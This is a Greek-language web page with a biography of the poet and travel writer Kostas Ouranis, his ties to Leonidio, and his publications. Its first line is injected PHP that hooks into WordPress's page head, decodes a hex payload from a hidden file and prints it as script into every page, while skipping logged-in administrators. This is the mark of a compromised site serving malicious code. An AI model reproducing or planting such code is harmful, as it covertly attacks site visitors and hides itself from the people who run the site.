if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Κώστας Ουράνης |
Get Adobe Flash player

Αναζήτηση

Ιστορικό

Κώστας Ουράνης 
1890-1953



»»» Φιλολογικό ψευδώνυμο του Κων/νου Νικολάου Νιάρχου. Γεννήθηκε στη Πόλη, αλλά τα παιδικά του χρόνια τα πέρασε στο Λεωνίδιο.
Πεζογράφος, δημοσιογράφος, αλλά κυρίως ποιητής με ανήσυχα πετάγματα προς τον κόσμο των ιδεών, των ερωτημάτων στα διλήμματα της ζωής που απευθύνονται στον τραγικό απλό άνθρωπο και της υπαρξιακής αγωνίας που απευθύνεται προς τον θεό. Τώρα γυρίζω και κοιτάω , και τη ζωή μου αναμετρώ, πόσο μεγάλη ήταν η φόρα, πόσο το πήδημα μικρό. Πεσιμιστής αλλά αληθινός λυρικός τραγουδιστής. Νεορομαντικός που είπε τους καημούς του ανθρώπινα. Οι καημοί του καταλήγουν να είναι μια νοσταλγία και μια αναζήτηση άπιαστη. ΄Εκανε την ταξιδιωτική εντύπωση λογοτεχνικό είδος και πρόσθεσε ένα ολόκληρο κεφάλαιο στην πεζογραφία μας.
Ο επισκέπτης του Λεωνιδίου θα μπορέσει να επισκεφθεί το πατρικό του σπίτι [σήμερα ιδιοκτησία της Νομ/κής συμβούλου Μαρίας Τροχάνη-Ευσταθίου] που ευρίσκεται δίπλα στον Δαφνώνα, που τόσο έχει υμνήσει, και να θαυμάσει στον πρώτο όροφο τα περίτεχνα σχέδια και την ζωγραφική των ταβανιών.

ΤΟ ΕΡΓΟ ΤΟΥ ΚΩΣΤΑ ΟΥΡΑΝΗ

Τον Ουράνη διεκδικεί τόσο η ποίηση όσο και η πεζογραφία, ιδιαίτερα η ταξιδιωτική. Έγραψε, εξάλλου, εκτός απ΄ τα ποιήματα και τα ταξιδιωτικά, διηγήματα και μικρές πρόζες, κριτικές μελέτες και δοκίμια, με ξεχωριστή επίδοση σε θέματα των εικαστικών τεχνών, κι ασχολήθηκε με τη μετάφραση ξένων έργων. Σε ηλικία εννιά χρονών έβγαζε μόνος του χειρόγραφη εφημερίδα και την κυκλοφορούσε στο οικογενειακό και φιλικό του περιβάλλον.

Στα δεκατέσσερα χρόνια του, όταν φοιτούσε στη Ροβέρτειο Σχολή, έγραψε το πρώτο του ποίημα, εμπνευσμένο από την καταστροφή της Αγχιάλου, αλλά την πρώτη του εμφάνιση έκανε τον Δεκέμβριο του 1908 από το περιοδικό “Ελλάς”¨ και στη συνέχεια συνεργάστηκε στο “Ημερολόγιον Ελλάδος” και στα περιοδικά: “Δάφνη”, “Ο Νουμάς”, “Καλλιτέχνης”, “Γράμματα” και “Νέα Ζωή” της Αλεξάνδρειας, “Νέοι”, “Μούσα”, “Παναθήναια”, (Αμερικής), “Μπουκέτο”, “Οικογένεια”, “Ημερολόγιον του Μπουκέτου”, “Κυριακή του Ελεύθερου Βήματος”, “Ελληνικά Γράμματα”, “Πειθαρχία”, “Νέα Εστία”, “Σήμερα”, “Νεοελληνικά Γράμματα”, “Ορίζοντες”, στη “Φιλολογική Πρωτοχρονιά”, καθώς και στις εφημερίδες: “Ακρόπολις”, “Νέα Ελλάς”, “Ελεύθερος Τύπος”, “Ελεύθερος Λόγος”, “Δημοκρατία”, “Ελεύθερον Βήμα”, “Πρωία”, “Αθηναϊκά Νέα”, “Η Καθημερινή” κ.α.
Τύπωσε τις ποιητικές συλλογές: “Σαν όνειρα” (1909), “Spleen” (1912), και “Νοσταλγίες” (1920), την κριτική μελέτη “Κάρολος Μπωντλαίρ” (Αλεξάνδρεια 1918), τα ταξιδιωτικά βιβλία “Sol y Sombra” (1934), “Σινά, το Θεοβάδιστον Όρος” (1944), “Γλαυκοί Δρόμοι” (1947), “Ταξίδια στην Ελλάδα” (1949) και τη μυθιστορηματική βιογραφία “Αχιλλεύς Παράσχος”.